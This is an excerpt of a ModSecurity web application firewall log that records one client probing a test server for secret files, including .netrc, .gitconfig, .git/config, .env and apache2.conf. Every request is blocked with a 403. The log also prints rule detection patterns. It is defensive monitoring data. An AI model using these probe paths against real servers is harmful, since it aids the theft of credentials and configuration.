&quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iQAAAAE&quot;]
[Sun Mar 22 01:06:03.182323 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iQAAAAE&quot;]
[Sun Mar 22 01:06:03.182465 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/root/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iQAAAAE&quot;]
[Sun Mar 22 01:06:03.227668 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /home/*/.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iwAAAAE&quot;]
[Sun Mar 22 01:06:03.227862 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iwAAAAE&quot;]
[Sun Mar 22 01:06:03.228001 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97iwAAAAE&quot;]
[Sun Mar 22 01:06:03.250194 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /home/*/.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jAAAAAE&quot;]
[Sun Mar 22 01:06:03.250411 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jAAAAAE&quot;]
[Sun Mar 22 01:06:03.250566 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/home/*/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jAAAAAE&quot;]
[Sun Mar 22 01:06:03.295457 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.gitconfig&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .gitconfig found within REQUEST_FILENAME: /~/.gitconfig&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jgAAAAE&quot;]
[Sun Mar 22 01:06:03.295654 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jgAAAAE&quot;]
[Sun Mar 22 01:06:03.295804 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.gitconfig&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jgAAAAE&quot;]
[Sun Mar 22 01:06:03.317789 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.netrc&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .netrc found within REQUEST_FILENAME: /~/.netrc&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jwAAAAE&quot;]
[Sun Mar 22 01:06:03.317973 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jwAAAAE&quot;]
[Sun Mar 22 01:06:03.318108 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/~/.netrc&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97jwAAAAE&quot;]
[Sun Mar 22 01:06:03.340252 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /app/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kAAAAAE&quot;]
[Sun Mar 22 01:06:03.340445 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kAAAAAE&quot;]
[Sun Mar 22 01:06:03.340583 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.git/config&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kAAAAAE&quot;]
[Sun Mar 22 01:06:03.362731 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /$(pwd)/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.git/config&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kQAAAAE&quot;]
[Sun Mar 22 01:06:03.362933 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.git/config&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kQAAAAE&quot;]
[Sun Mar 22 01:06:03.363093 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/$(pwd)/.git/config&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kQAAAAE&quot;]
[Sun Mar 22 01:06:03.407684 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kwAAAAE&quot;]
[Sun Mar 22 01:06:03.408088 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kwAAAAE&quot;]
[Sun Mar 22 01:06:03.408224 2026] [:error] [pid 2857384] [client 185.177.72.38:49678] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/debug.log&quot;] [unique_id &quot;ab8yawYP1jEXrqk5bL97kwAAAAE&quot;]
[Sun Mar 22 01:06:03.523349 2026] [:error] [pid 2857385] [client 185.177.72.38:45082] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/apache2.conf&quot;] [unique_id &quot;ab8ya8IpAvowSesNnWL6QQAAAAA&quot;]
[Sun Mar 22 01:06:03.523741 2026] [:error] [pid 2857385] [client 185.177.72.38:45082] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/apache2.conf&quot;] [unique_id &quot;ab8ya8IpAvowSesNnWL6QQAAAAA&quot;]
[Sun Mar 22 01:06:03.523902 2026] [:error] [pid 2857385] [client 185.177.72.38:45082] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/etc/apache2/apache2.conf&quot;] [unique_id &quot;ab8ya8IpAvowSesNnWL6QQAAAAA&quot;]
[Sun Mar 22 01:06:03.591955 2026] [:error] [pid 2857385] [client 185.177.72.38:45082] [client 185.177.72.38] ModSecurity: Warning. Pattern match &quot;(?i:(?:^[\\\\W\\\\d]+\\\\s*?(?:alter\\\\s*(?:a(?:(?:pplication\\\\s*rol|ggregat)e|s(?:ymmetric\\\\s*ke|sembl)y|u(?:thorization|dit)|vailability\\\\s*group)|c(?:r(?:yptographic\\\\s*provider|edential)|o(?:l(?:latio|um)|nversio)n|ertificate|luster)|s(?:e(?:rv(?:ice|er)| ...&quot; at ARGS_NAMES:*update*. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf&quot;] [line &quot;471&quot;] [id &quot;942360&quot;] [msg &quot;Detects concatenated basic SQL injection and SQLLFI attempts&quot;] [data &quot;Matched Data: *update found within ARGS_NAMES:*update*: *update*&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-sqli&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/SQL_INJECTION&quot;] [tag &quot;WASCTC/WASC-19&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;OWASP_AppSensor/CIE1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-updates/*&quot;] [unique_id &quot;ab8ya8IpAvowSesNnWL6RAAAAAA&quot;]
[Sun Mar 22 01:06:03.592066 2026] [:error] [pid 2857385] [client 185.177.72.38:45082] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-updates/*&quot;] [unique_id &quot;ab8ya8IpAvowSesNnWL6RAAAAAA&quot;]
[Sun Mar 22 01:06:03.592209 2026] [:error] [pid 2857385] [client 185.177.72.38:45082] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package-updates/*&quot;] [unique_id &quot;ab8ya8IpAvowSesNnWL6RAAAAAA&quot;]
[Sun Mar 22 01:06:06.831297 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.testing&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBTgAAAAI&quot;]
[Sun Mar 22 01:06:06.831530 2026] [:error] [pid 2857485] [client 185.177.72.38:45090] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.testing&quot;] [unique_id &quot;ab8yblJYD4HbtTsiw8QBTgAAAAI&quot;]
